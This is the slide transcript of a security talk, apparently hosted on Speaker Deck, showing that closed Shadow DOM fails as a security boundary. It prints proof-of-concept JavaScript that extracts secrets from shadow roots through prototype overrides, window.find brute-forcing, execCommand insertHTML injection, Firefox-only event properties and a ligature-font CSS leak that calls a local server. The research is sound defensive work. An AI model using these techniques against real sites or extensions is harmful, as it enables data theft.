Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Shadow DOM & Security - Exploring the boundary ...

Shadow DOM & Security - Exploring the boundary between light and shadow

English version of my presentation at Shibuya.XSS techtalk #13.
日本語版はこちら: https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-13

Avatar for Masato Kinugawa

Masato Kinugawa

July 20, 2025
Tweet

More Decks by Masato Kinugawa

Other Decks in Technology

Transcript

  1. Shadow DOM & Security Exploring the boundary between light and

    shadow 2025/7/4 Shibuya.XSS techtalk #13 Masato Kinugawa
  2. Pentester for Cure53 I like XSS & web stuff Bug

    bounty hunter (rarely) Masato Kinugawa
  3. Today's topics • Shadow DOM has been increasingly used in

    recent years • Some apps are starting to use it as a security boundary • But can this boundary really be trusted? • How can security researchers go about attacking it? I'll share the know-how I gained by actually attacking real-world apps that use Shadow DOM!
  4. Shadow DOM? • A tool that simplifies building component-based apps

    • Not a security feature • Allows creation of encapsulated DOM within the normal DOM(light DOM) • Scoped CSS • Restricted DOM access Displayed as #shadow-root in DevTools
  5. Shadow DOM and CSS Scoping Notice which parts of the

    DOM each <style> affects: Selectors only work within a limited scope
  6. DOM Access into Shadow DOM document.getElementById('foo')// null document.querySelectorAll('span')// Return only

    <span> that wraps "Light" Access to the inside of a shadow DOM is restricted unless you intentionally use methods to penetrate it Independent components make development easier!
  7. Glossary: shadow root this The entry point to the shadow

    DOM. Access to its internals starts from here
  8. How to create Shadow DOM with JS <script> sHost =

    document.createElement('div'); sHost.style ="border:dotted red 2px;"; sRoot = sHost.attachShadow({mode: "open"}); sRoot.innerHTML = '<span>Shadow</span> DOM'; document.body.appendChild(sHost); </script> Element.attachShadow attaches a shadow DOM to the element: attachShadow returns a shadow root reference
  9. How to create Shadow DOM without JS <div style="border:dotted red

    2px;"> <template shadowrootmode="open"> <span>Shadow</span> DOM </template> </div> Possible with Declarative Shadow DOM: This creates the same Shadow DOM as in the previous page
  10. Encapsulation mode: open/closed Whether to leave room for access to

    the inside through specific APIs sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "open"}); // or "closed"
  11. {mode: "open"} The host's shadowRoot property gives access to the

    shadow root later on: sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "open"}); console.log(sRoot);// #shadow-root (open) console.log(sHost.shadowRoot);// #shadow-root (open) sRoot === sHost.shadowRoot // true
  12. {mode: "closed"} Without keeping the return value of attachShadow(), accessing

    the inside of the shadow DOM becomes difficult The shadowRoot property becomes null: sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); console.log(sRoot);// #shadow-root (closed) console.log(sHost.shadowRoot);// null
  13. Potential Security Applications? • Does placing sensitive content in a

    shadow DOM with "closed" always block access...? • There are real-world attempts to use this as a sec boundary in practice: • Part of Salesforce Lightning Web Security (LWS) • LavaDome • Custom UI injected by browser extensions into web pages LWS: https://developer.salesforce.com/docs/platform/lightning-components-security/guide/lws-architecture.html LavaDome: https://github.com/LavaMoat/LavaDome Let’s actually test it out
  14. Target app • Store something inside a closed Shadow DOM

    that should be access-restricted • Can that something be accessed via JavaScript, CSS, or other means? sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost);
  15. Obvious Attack Vector JS execution by attackers before creating Shadow

    DOM = game over sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); // Created as "open" sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost); // Attacker executes first // Rewrite to always attach in "open" mode Element.prototype.originalAttachShadow = Element.prototype.attachShadow; Element.prototype.attachShadow = function(arg){ return this.originalAttachShadow({"mode":"open"}); }
  16. Obvious Attack Vector - 2 Even after the Shadow DOM

    is created, if an attacker can interfere with the JavaScript that accesses internal elements (e.g. by overwriting prototypes ) = game over sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = `<span onclick="this.textContent='SECRET'">Click here & show secret</span>`; document.body.appendChild(sHost); // Attacker rewrites textContent setter Object.defineProperty(HTMLElement.prototype,"textContent",{set:function(){ console.log(this);// When clicked, return a reference to <span> placed in Shadow }}); Encapsulation ≠ Execution context isolation
  17. In Reality No guaranteed way to run your code first

    // Attacker executes win = window.open('/page-using-shadow-dom','_blank') win.Element.prototype.attachShadow = function(){ //... } e.g. An attacker might open a new window and overwrite the prototype before anything else: It should be understood that Shadow DOM alone cannot serve as a security boundary on normal websites
  18. So what can we do? (In web apps) • The

    only real option is to run the app inside a custom, restricted JS execution environment... (so called sandbox) • In fact, Salesforce’s Lightning Web Security (LWS) implements its own sandbox • The entire app runs inside this restricted JS environment • For example, even if an attacker calls window.open() here, the method has already been replaced with safe one • (BTW, Shadow DOM is used to limit access between components. Note that LWS is not solely intended to prevent Shadow DOM breakouts) • Unless the sandbox is bypassed, unrestricted access is not possible It seemed easy at first...(´;ω;`)
  19. LWS Distortion Viewer (list of JS APIs restricted by LWS

    called distortion): https://developer.salesforce.com/docs/component-library/tools/lws-distortion-viewer Getting heavy... (No more sandbox talk after this)
  20. So what can we do? (In WebExtensions) • Creating a

    Shadow DOM directly from Content Scripts • Since Content Scripts run in Isolated World, separated from the page's execution env, prototype overrides do not apply • That said, if the Shadow DOM is created by injecting JavaScript into the page context from the extension, those prototypes can be overridden • Inline scripts added from CS are also affected (see "Obvious attack vector 2" page) Prototype overwritten in the page context is not reflected in CS context: So then, can it be used safely from Content Scripts...? Switch to the extension context
  21. Is it safe if we follow the following? • Create

    in an env where prototype overrides don’t apply • Create Shadow DOM with "closed" • Discard return value of attachShadow Let's test how reliable the Shadow Boundary actually is
  22. Let's test! Run various JS APIs to test whether the

    secret (deadbeef) inside a closed Shadow can be accessed, using the page below:
  23. Example of proper encapsulation behavior Set a click event listener

    on the entire page: window.onclick = function(event){ console.log(event.target); } Click somewhere inside a Shadow: Instead of the clicked elem, the shadow host is returned (= The "target" property hides the actual inner element) then The goal is to find cases where this behavior fails
  24. Existing Research: Selection#anchorNode Selection#focusNode – Firefox only • getSelection() provides

    access to the current text selection • getSelection().anchorNode (or focusNode) can expose Shadow DOM nodes Found by arxenix: https://blog.ankursundara.com/shadow-dom/ // Search & select the specified string window.find('This is a secret:'); node = getSelection().anchorNode;//or focusNode root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } Becomes selected when find() is executed:
  25. Firefox vs. Chrome But the node is hidden find() did

    select it Wait, if find() can select it, does that mean the search actually works for text inside the Shadow? So... leak
  26. window.find() (text reading only) result = []; prefix = 'This

    is a secret: '; chars = 'abcdef'; secretLength = 8; while (result.length !== secretLength) { for (i = 0; i < chars.length; i++) { char = chars[i]; // find() returns true if the specified string is found if (window.find(`${prefix}${char}`, false, false, true)) { result.push(char); prefix += char; } } } alert(result.join('')); No node-level access, but the text was still readable (confirmed with this code in Chrome)
  27. Existing Research: Selection#toString (text reading only) • When getSelection() is

    converted to a string, it returns the selected text Found by arxenix: https://blog.ankursundara.com/shadow-dom/ window.find('This is a secret:'); document.execCommand('selectAll');//Maximize the selection range alert(getSelection()+""); The selection ranges were different in Firefox & Chrome, but the text was readable in both:
  28. Existing Research: document.execCommand('insertHTML') • An API for text editing •

    Allows various operations by passing a command name as the first argument • The insertHTML command inserts the specified HTML into the currently focused editable element Found by arxenix: https://blog.ankursundara.com/shadow-dom/ window.find('contenteditable area'); document.execCommand('insertHTML',false, '<iframe onload=alert(getRootNode().querySelector("#secret").textContent)>'); In both Chrome & Firefox, HTML was inserted into the Shadow: See also: Interesting technique by Slonser using ServiceWorker and -webkit-user-modify: https://extensions.neplox.security/Attacks/Shadow/
  29. Event#originalTarget Event#explicitOriginalTarget – Firefox only • Firefox-specific properties found on

    Event.prototype • Return the node of the selected portion, following slightly different rules from the "target" property window.onmousemove = function(event){ elem = event.originalTarget;// or explicitOriginalTarget root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } When the mouse cursor was moved into the Shadow, a node inside it was returned:
  30. UIEvent#rangeParent – Firefox only • A Firefox-specific property found on

    UIEvent.prototype • Not even on MDN!! window.onmousemove = function(event){ elem = event.rangeParent; root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Here too:
  31. DataTransfer#mozSourceNode – Firefox only • A Firefox-specific property found on

    DataTransfer.prototype • Returns the node located at the start point of the drag window.ondrag = function(event){ node = event.dataTransfer.mozSourceNode; root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Dragging any text from within the Shadow exposed the internal node: Found MDN page on Web Archive (not on current MDN): https://web.archive.org/web/20221004005258/https://developer.mozilla.org/en- US/docs/Web/API/DataTransfer/mozSourceNode
  32. Range#endContainer or startContainer returned by InputEvent#getTargetRanges • An API that

    returns the range of text currently targeted by input window.onbeforeinput = (event) => { targetRanges = event.getTargetRanges(); node = targetRanges[0].endContainer;// or startContainer root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } }; After running the following, typing into the editable area in the Shadow DOM allowed access to the internal node: Confirmed to work in Chrome, Firefox, and Safari
  33. What we've seen so far • Not safe to use

    even when added via Content Scripts • Shadow boundaries are fragile • Overwriting prototypes isn’t even necessary • Encapsulation mode doesn't matter either
  34. Possibility of attacks using CSS Recap from earlier: Selector scope

    is restricted: Does this mean CSS-based attacks from Light to Shadow are not possible?
  35. CSS inheritance Selectors can't reach inside, but inherited properties still

    apply Apply styles to <body> from Light DOM Inherited because it is a child of <body>
  36. Data Extraction Using CSS • CSS-based text leak attacks can

    pass from Light into Shadow • Unless inherited properties are explicitly overridden on the Shadow side • e.g. Leaking text via inherited font styles that use ligatures • Attribute value leaks are likely difficult • Except for cases like <input type="text">, where fonts can be applied to the value Ligature-based CSS leak by Michał Bentkowski: https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
  37. const secretChars = "abcdef"; const prefix = "This is a

    secret: "; let index = 0; let foundChars = ""; const style = document.createElement('style'); document.body.appendChild(style); style.innerHTML = "#shost {font-family:hack;font-size:300px;}"; const defaultWidth = document.body.scrollWidth; const loadFont = target => { const font = new FontFace("hack", `url(http://localhost:3000/?target=${encodeURIComponent(target)})`); font.load().then(() => { document.fonts.add(font); if (defaultWidth < document.body.scrollWidth) { foundChars += secretChars[index]; console.log(`Found: ${foundChars}`); index = 0; } else { index++; } if (foundChars.length === 8) { alert(foundChars); } else { loadFont(`${prefix}${foundChars}${secretChars[index]}`); } }); }; loadFont(`${prefix}${secretChars[index]}`); ❶ Convert strings like "This is a secret: a" "This is a secret: b" "This is a secret: c"... into single characters using a custom wide-ligature font. Apply them one by one. ❷ If the scroll width increases, it means the wide ligature was applied → the corresponding string exists in the Shadow DOM. ❸ Once a match is found, repeat the process for the next character. What this does: Ligature-Based Leak Example Note: All of this is possible with just CSS (Refer to the previous article by Michał)
  38. Reverse Case: CSS Injection Inside Shadow DOM Can CSS injection

    within Shadow DOM extract sensitive data from Light DOM? sHost = document.createElement('div'); sRoot = sHost.attachShadow({ mode: "closed" }); style = document.createElement('style'); style.textContent = ATTACKER_CONTROLLED_STRING;// injection sRoot.appendChild(style); document.body.appendChild(sHost);
  39. :host-context() • A CSS function available only within Shadow •

    Selects the shadow host if the selector given as an argument matches the shadow host or one of its ancestor elements So, attributes of the shadow host or its ancestors can still be leaked from inside Shadow ancestor ancestor shadow host Leaking multiple strings in practice (by Pepe Vila): https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf
  40. <iframe> placed inside Shadow DOM sHost = document.createElement('div'); const sRoot

    = sHost.attachShadow({ mode: "closed" }); sRoot.innerHTML = `<iframe name="ifr" src="//trusted.example.com/"></iframe>`; document.body.appendChild(sHost); window.length// 0 window.open('//attacker-host.test/','ifr'); // Shadow DOM iframe URL gets replaced Not counted in window.length, but if it has a name attr, navigation from Light still occurs: Looks like it's still not fully sorted out: "Shadow DOM and <iframe> · Issue #763 · whatwg/html" https://github.com/whatwg/html/issues/763
  41. And more... • Site Isolation • Of course, Shadow DOM

    doesn’t run in a separate process • If the renderer is compromised, it's game over • Other event listeners • A CSP violation triggered within Shadow can result in a URL leak There still seems to be more to uncover
  42. Conclusions • Using Shadow DOM as a security boundary is

    quite unrealistic • Additional work is always required to patch bypasses • It’s hard to clearly understand where the boundary begins and ends • Since it's not a security feature by design, vendors aren’t obligated to support it as one • APIs that fail to encapsulate are treated as normal bugs, not sec bugs • At present, <iframe> remains the right choice for isolated embeds • It benefits from well-defined security boundaries like SOP, Site Isolation, and the sandbox attribute